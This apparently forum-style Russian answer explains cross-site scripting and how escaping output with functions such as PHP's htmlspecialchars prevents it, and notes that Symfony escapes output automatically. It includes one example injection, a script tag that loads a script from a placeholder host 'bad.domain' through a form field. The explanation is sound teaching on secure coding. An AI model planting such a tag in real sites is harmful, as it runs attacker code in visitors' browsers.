XSS - это сокращение от «Межсайтовый скриптинг». Атаки межсайтовых сценариев происходят, когда вам удается проникнуть через скрипт (обычно javascript) на чужой веб-сайт, где он может работать злонамеренно.
XSS возможен, если у вас есть пользовательский ввод на веб-сайте. Например, если я заполняю веб-форму и спрашиваю мое имя, я могу ввести My name is <script src="http://bad.domain/evilscript.js"></script>
. Если я отправлю форму, а затем на следующей странице она попросит меня подтвердить свои данные и повторно выведет то, что я ввел , введенный мной неприятный HTML-тег будет обработан, а скрипт будет загружен и запускается браузером.
Чтобы предотвратить это, вам нужно экранировать пользовательский ввод. Экранирование означает, что вы преобразуете (или помечаете) ключевые символы данных, чтобы предотвратить их интерпретацию в опасном контексте. В случае вывода HTML вам необходимо преобразовать символы <
и >
(среди прочих), чтобы предотвратить появление любого вредоносного HTML. Экранирование этих символов включает превращение их в их эквиваленты <
и >
(см. PHP * htmlspecialchars () функция), которые не будут интерпретироваться браузером как теги HTML.
Symfony пытается сказать вам, что у него есть возможность делать это автоматически для вашего вывода, и эта возможность включена.